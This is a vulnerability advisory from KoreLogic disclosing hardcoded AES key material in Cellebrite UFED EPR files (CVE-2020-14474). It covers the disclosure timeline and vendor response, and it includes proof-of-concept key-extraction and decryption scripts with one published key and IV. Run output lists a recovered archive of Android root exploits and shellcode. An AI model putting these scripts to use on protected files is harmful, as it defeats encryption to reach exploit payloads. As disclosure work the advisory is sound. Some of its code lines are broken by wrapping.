Cellebrite EPR Decryption Hardcoded AES Key Material

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1. Vulnerability Details

     Affected Vendor: Cellebrite
     Affected Product: UFED
     Affected Version: 5.0 - 7.5.0.845
     Platform: Embedded Windows
     CWE Classification: CWE-321: Hardcoded Use of Cryptography Keys
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2. Vulnerability Description

     The Cellebrite UFED Physical device relies on key material
     hardcoded within both the executable code supporting the
     decryption process and within the encrypted files themselves by
     using a key enveloping technique. The recovered key material
     is the same for every device running the same version of
     the software and does not appear to be changed with each new
     build. It is possible to reconstruct the decryption process
     using the hardcoded key material and obtain easy access to
     otherwise protected data.


3. Technical Description

     A recursive listing of my standalone decryptor directory:

       $ find .
       .
       ./decrypt-epr
       ./input
       ./input/DLLs
       ./input/DLLs/731
       ./input/DLLs/731/FileUnpacking.dll
       ./input/EPRs
       ./input/EPRs/731
       ./input/EPRs/731/Android.zip.epr
       ./output
       ./output/EPRs
       ./output/EPRs/731
       ./extract-keys
       ./Makefile

     (See the Proof of Concept section for relevant code snippets.)

     First, we start by running the extract-keys script on the
     relevant FileUnpacking.dll file. The provided Makefile will
     automatically output the relevant key material to the same
     directory where the DLL resides.

       $ make keys
       Extracting AES keys from input/DLLs/731/FileUnpacking.dll
       64+0 records in
       64+0 records out
       64 bytes copied, 0.000186032 s, 344 kB/s
       32+0 records in
       32+0 records out
       32 bytes copied, 0.000116104 s, 276 kB/s
       636+0 records in
       636+0 records out
       636 bytes copied, 0.00140342 s, 453 kB/s
       Finished

     The extract-keys script contains a nested JSON-object and
     iterates over the bytes of the file provided creating a SHA256
     hash for each DWORD. The calculated hash is compared against
     known matches and when found the script will automatically
     extract the bytes relevant.

     Now a selected EPR file may be decrypted. A good example is the
     Android.zip.epr file, which contains a set of local privilege
     escalation exploits.

       $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr
       [+] The EPR file specified exists.
       [+] The specified EPR file has been read into memory.
       [-] Decrypter setup with key 1 for version 3
       [+] Round one of the EPR decryption completed successfully.
       [-] Calculated that the flag will be: [REDACTED]
       [+] The SHA256 key flag has been calculated.
       [-] Found the flag: [REDACTED]
       [+] The SHA256 key flag has been found.
       [-] Decrypter setup with key 2 for version 3
       [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
       [-] AES Key: [REDACTED], IV: [REDACTED]
       [-] Decrypter setup with key 3 for version 3
       [-] Finished decrypting all blocks.
       [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken
       [-] Wrote 2552640 bytes to a broken file.
       [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been
decrypted.
       [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip >
/dev/null 2>&1
       [-] Removing the broken file.
       [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
       [+] done.

     The decrypted file can then be unzipped.

       $ unzip Android.zip.epr.zip
       Archive:  Android.zip.epr.zip
         inflating: c2a_disable_selinux_32.ko
         inflating: c2a_disable_selinux_64.ko
         inflating: com.mr.meeseeks.apk
         inflating: daemonize
         inflating: dirtycow
         inflating: dirtycow_32
         inflating: DisableHuaweiLogging_2.1.5767a
         inflating: django_2.1.5767a
         inflating: EnableHuaweiLogging_2.1.5767a
         inflating: EnableSharpRead_2.1.5767a
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        inflating: exploits_2.1.5769.csv
        inflating: forensics
        inflating: fourrunnerStatic_2.1.5767a
        inflating: gb_2.1.5767a
        inflating: nandd
        inflating: nandread-pie-vold
        inflating: nandread-pie_7182
        inflating: nandread64-pie-vold
        inflating: nandreadStatic_7182
        inflating: patcher.exe
        inflating: pingroot
        inflating: pingroot_vultest
        inflating: psneuter_2.1.5767a
        inflating: RecoveryImageMap.csv
        inflating: rootspotter.apk
        inflating: rootspot_verify_env
        inflating: rosecure_2.1.5767a
        inflating: setuid_2.1.5767a
        inflating: shellcode.bin
        inflating: shellcode_32_iptables.bin
        inflating: shellcode_32_oatdump.bin
        inflating: zergRush_2.1.5767a

    The encryption algorithm uses a software-only key enveloping
    technique where part of the key material is stored within
    executable code and part within a encrypted header inside of
    the encrypted file. The encrypted header is extracted from
    the encrypted file and decrypted using key material hardcoded
    within executable code.

    Some of the bytes decrypted then undergo a XOR operation to
    calculate the last DWORD of a SHA256 hash. Separately, a set
    of 254 bytes is iterated over using 64 bytes per iteration. A
    complete SHA256 hash is generated for each set of 64-bytes
    and the ending DWORD of this hash is then compared against
    the calculated DWORD.  If there is a match the bytes used to
    calculate the DWORD are the next set of key material.

    The decryption tool outputs the following match:

      [-] Calculated that the flag will be: [REDACTED]
      [+] The SHA256 key flag has been calculated.
      [-] Found the flag: [REDACTED]

    The last DWORD matches. In fact there are a total of eight
    possible intermediate keys that can be chosen from based on the
    bytes observed.

    A third and final key exists within each encrypted file
    header. This key is decrypted using the hardcoded intermediate
    key used for encrypted the selected file. From here bytes 0x80
    through the end of the file are decrypted in blocks of 0x10000.


4. Mitigation and Remediation Recommendation

    The vendor has informed KoreLogic that this vulnerability is
    not present on recent versions of the UFED devices. Cellebrite
    stated, "While the method described in the reports does not
    work on recent versions (we previously made multiple changes
    that broke it), the core key material was exposed and will be
    rotated effective immediately."


5. Credit

    This vulnerability was discovered by Matt Bergin (@thatguylevel)
    of KoreLogic, Inc.


6. Disclosure Timeline

    2020.04.02 - KoreLogic submits vulnerability details to
                 Cellebrite.
    2020.04.02 - Cellebrite acknowledges receipt and the intention
                 to investigate.
    2020.05.13 - KoreLogic requests an update on the status of the
                 vulnerability report.
    2020.05.14 - Cellebrite responds, notifying KoreLogic that the
                 technique is not applicable to newer UFED releases.
                 Requests time beyond the standard 45 business day
                 embargo to ensure all exposed keys have been changed.
    2020.06.09 - 45 business days have elapsed since the report was
                 submitted to Cellebrite.
    2020.06.12 - KoreLogic requests an update from Cellebrite.
    2020.06.14 - Cellebrite reports that affected key material has
                 been retired.
    2020.06.18 - CVE Requested.
    2020.06.19 - MITRE issues CVE-2020-14474.
    2020.06.29 - KoreLogic public disclosure.


7. Proof of Concept

    File Name: Makefile

      clean:
        for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name
'*.map' -o
-name '*.zip'`; do \
          rm -rf $$filepath ; \
        done

      keys:
        @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \
          echo Extracting AES keys from $$filepath ; \
          ./extract-keys --file $$filepath > $$filepath.keys ; \
          if [ -f "$$filepath" ] ; then \
            dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \
            dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \
            dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \
          else \
            echo Could not find extract-keys output ; \
          fi \
        done ; \
        echo Finished

    Script Name: extract-keys

      #!/usr/bin/python
      from optparse import OptionParser
      from os.path import exists, basename
      from binascii import hexlify
      from hashlib import sha256
      from os import makedirs

      keyMap = {
        # UFED 5.1
        "Dump_MotGSM.dll":{
          "offsets":{
            "aes":{
              "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054",       # Key and IV
already
public information
              "iv":"888c609edc9eb9dfb4d30dfebc9f0431"                                       #
https://github.com/cellebrited/cellebrite
            }
          }
        },
        # UFED 7.3
        "FileUnpacking.dll":[
          {
            "offsets":{
              "aes":{
                "keySize":32,
                "keyHash":"[REDACTED]",  # sha256 hash of first dword
                "ivSize":16,
                "ivHash":"[REDACTED]"    # sha256 hash of first dword
                },
              "mapSize":256,
              "mapHash":"[REDACTED]"     # sha256 hash of first dword
            }
          }
        ]
      }

      if __name__ == "__main__":
        parser = OptionParser()
        parser.add_option("--file",dest="file",default='',help="Decryptor DLL")
        o,a = parser.parse_args()
        if (exists(o.file) != True):
          print "[!] The specified file does not exist"
          exit(1)
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        try:
          with open(o.file,'rb') as fp:
            fileData = fp.read()
          print "[-] Read {} bytes.".format(len(fileData))
          if (isinstance(keyMap[basename(o.file)], str)):
            if ("Dump_MotGSM.dll" == basename(o.file)):
              print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + keyMap[basename(o.file)]["offsets"]
["aes"]["iv"]
            else:
              foundKey, foundIV, foundMap = False, False, False
              for i in xrange(0, len(keyMap[basename(o.file)])):
                for pos in xrange(0,len(fileData)):
                  nextDWORD = hexlify(fileData[pos:pos+4])
                  if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"]
and not
foundKey):
                    foundKey = True
                    aesKey = hexlify(fileData[pos:pos+32])
                    print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey)
                  if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"]
and not
foundIV):
                    foundIV = True
                    aesIV = hexlify(fileData[pos:pos+16])
                    print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV)
                  if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not
foundMap):
                    foundMap = True
                    aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]])
                    print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap)
                  if (foundKey and foundIV and foundMap):
                    break
                  pos+=1
        except Exception as e:
            print "[!] Could not read the specified file. Reason: {}".format(e)
        exit(0)
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Script Name: decrypt-epr

```
      #!/usr/bin/python
      from logging.handlers import TimedRotatingFileHandler
      from optparse import OptionParser
      from os.path import exists, getsize, dirname, realpath
      from os.path import join as path_join
      from os import system, remove
      from shutil import move
      from Crypto.Cipher import AES
      from binascii import unhexlify, hexlify
      from hashlib import sha256
      import sys
      import logging

      logging.basicConfig(
        format="%(asctime)s [%(levelname)s] %(message)s",
        level=logging.INFO,
        handlers=[
          TimedRotatingFileHandler(
            path_join(
              dirname(realpath(__file__)),
              "logger.log",
            ),
            interval=1,
          ),
          logging.StreamHandler(sys.stdout),
        ],
      )
      logger = logging.getLogger(__name__)

      bs = AES.block_size
      pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)

      class EPR:
        def __init__(self, file, version, verbose):
          self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already
public
information
          self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431"                                  # Already
public
information
          self.epr_v2_aes_key = "[REDACTED]"
          self.epr_v2_aes_iv = "[REDACTED]"
          self.epr_v3_aes_key = self.epr_v2_aes_key
          self.epr_v3_aes_iv = self.epr_v2_aes_iv
          self.epr_v2_aes_map = "[REDACTED]"
          self.epr_v3_aes_map = "[REDACTED]"
          self.epr_v3_aes_iv_two = None
          self.file = file or False
          self.version = version
          self.encrypted_file = None
          self.encrypted_epr = None
          self.encrypted_magic = None
          self.decrypted_epr = None
          self.final_epr = b''
          self.logging = verbose
        def file_exists(self):
          if not self.file:
            return False
          return exists(self.file)
        def can_read_file(self):
          return getsize(self.file)
        def read_entire_file(self):
          try:
            fp = open(self.file,'rb')
            self.encrypted_file = fp.read()
            fp.close()
          except Exception as e:
            logger.error("[!] Encountered an exception. Reason: {}".format(e))
            return False
          return True
        def flat_decrypt(self):
          self.encrypted_magic = self.encrypted_file[:21]
          if (self.encrypted_magic[:-2] == "Cellebrite EPR File"):
            self.encrypted_epr = self.encrypted_file[21:]
            if self.version == 1:
              crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv))
              if self.logging: logger.info("[-] Decrypter setup with key 1 for version
{}".format(self.version))
            else:
              crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv))
              if self.logging: logger.info("[-] Decrypter setup with key 1 for version
{}".format(self.version))
            try:
              self.decrypted_epr = crypter.decrypt(self.encrypted_epr)
              if self.version == 2:
                self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48])
              elif self.version == 3:
                self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
              else:
                pass
            except Exception as e:
              logger.error("[!] Encountered an exception. Reason: {}".format(e))
              return False
            return True
          return False
        def calc_sha256_dword(self):
          try:
            to_xor_a = hexlify(self.decrypted_epr[24:28])
            to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)]
            to_xor_b = hexlify(self.decrypted_epr[28:32])
            to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)]
            xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16)
            xored_1 = "{0:0{1}x}".format(xored_1,2)
            xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16)
            xored_2 = "{0:0{1}x}".format(xored_2,2)
            xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16)
            xored_3 = "{0:0{1}x}".format(xored_3,2)
            xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16)
            xored_4 = "{0:0{1}x}".format(xored_4,2)
            if (self.version == 2):
              self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
              if self.logging: logger.info("[-] Calculated that the flag will be:
{}".format(self.epr_v2_sha256_flag))
            else:
              self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
              if self.logging: logger.info("[-] Calculated that the flag will be:
{}".format(self.epr_v3_sha256_flag))
          except Exception as e:
            logger.error("[!] Encountered an exception. Reason: {}".format(e))
            return False
          return True
        def key_map_check(self):
          found = False
          if (self.version == 2):
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            for i in range(0, len(self.epr_v2_aes_map), 64):
              hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest()
              if (hash.endswith(self.epr_v2_sha256_flag)):
                if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag))
                found = True
                self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64]
          else:
            for i in range(0, len(self.epr_v3_aes_map), 64):
              hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest()
              if (hash.endswith(self.epr_v3_sha256_flag)):
                if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag))
                found = True
                self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64]
          return found
        def decrypt_key(self):
          try:
            if (self.version == 2):
              crypter =
AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two))
              if self.logging: logger.info("[-] Decrypter setup with key 2 for version
{}".format(self.version))
              self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
              self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128])
            else:
              crypter =
AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two))
              if self.logging: logger.info("[-] Decrypter setup with key 2 for version
{}".format(self.version))
              self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
              self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128])
          except Exception as e:
            logger.error("[!] Encountered an exception. Reason: {}".format(e))
            return False
          return True
        def decrypt_epr(self):
          if (self.version == 2):
            crypter =
AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three))
            if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three))
          else:
            crypter =
AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three))
            if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
          if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version))
          self.encrypted_epr = self.encrypted_epr[128:]
          for pos in range(0, len(self.encrypted_epr), 65536):
            decryptPart = self.encrypted_epr[pos:pos+65536]
            try:
              self.final_epr+=crypter.decrypt(decryptPart)
            except ValueError as e:
              self.final_epr+=crypter.decrypt(pad(decryptPart))
          if self.logging: logger.info("[-] Finished decrypting all blocks.")
          try:
            if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file))
            fp = open("{}.broken".format(self.file),"wb")
            fp.write(self.final_epr)
            fp.close()
            if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr)))
          except Exception as e:
            logger.error("[!] Encountered an exception. Reason: {}".format(e))
            return False
          return True
        def zip_FF(self):
          if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null
2>&1".format(self.file,self.file))
          system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file))
          return True
        def finish(self):
          if self.logging: logger.info("[-] Removing the broken file.")
          remove("{}.broken".format(self.file))
          move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output")))
          logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output")))
          return True

      def main():
        parser = OptionParser()
        parser.add_option("--file",dest="file",default=False,help="EPR File Path")
        parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR
Version")
        parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
        o,a = parser.parse_args()
        o.version = int(o.version)
        epr = EPR(o.file,o.version,o.verbose)

        if not epr.file_exists():
          logger.info("[!] Unable to find the encrypted EPR file specified.")
          return False
        logger.info("[+] The EPR file specified exists.")
        if not epr.can_read_file():
          logger.info("[!] Unable to open a file object to the encrypted EPR file.")
          return False
        if not epr.read_entire_file():
          logger.info("[!] Unable to read the encrypted EPR file.")
          return False
        logger.info("[+] The specified EPR file has been read into memory.")
        logger.info("[+] Using the version {} decryption process.".format(o.version))
        if not epr.flat_decrypt():
          logger.info("[!] Unable to run the initial decryption round.")
          return False
        logger.info("[+] Round one of the EPR decryption completed successfully.")
        if not epr.calc_sha256_dword():
          logger.info("[!] Unable to calculate the SHA256 key flag.")
          return False
        if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.")
        if not epr.key_map_check():
          logger.info("[!] Unable to find a AES key match.")
          return False
        if o.verbose: logger.info("[+] The SHA256 key flag has been found.")
        if not epr.decrypt_key():
          logger.info("[!] Could not decrypt the final AES key.")
          return False
        logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key
and IV.")
        if not epr.decrypt_epr():
          logger.info("[!] Unable to decrypt the EPR file.")
          return False
        logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive
has been
decrypted.")
        if not epr.zip_FF():
          logger.info("[!] Could not clean up garbage.")
          return False
        return True

      if __name__ == "__main__":
        success = main()
        if success:
          logger.info("[+] done")
        else:
          logger.info("[!] failed")
        exit(success)
```

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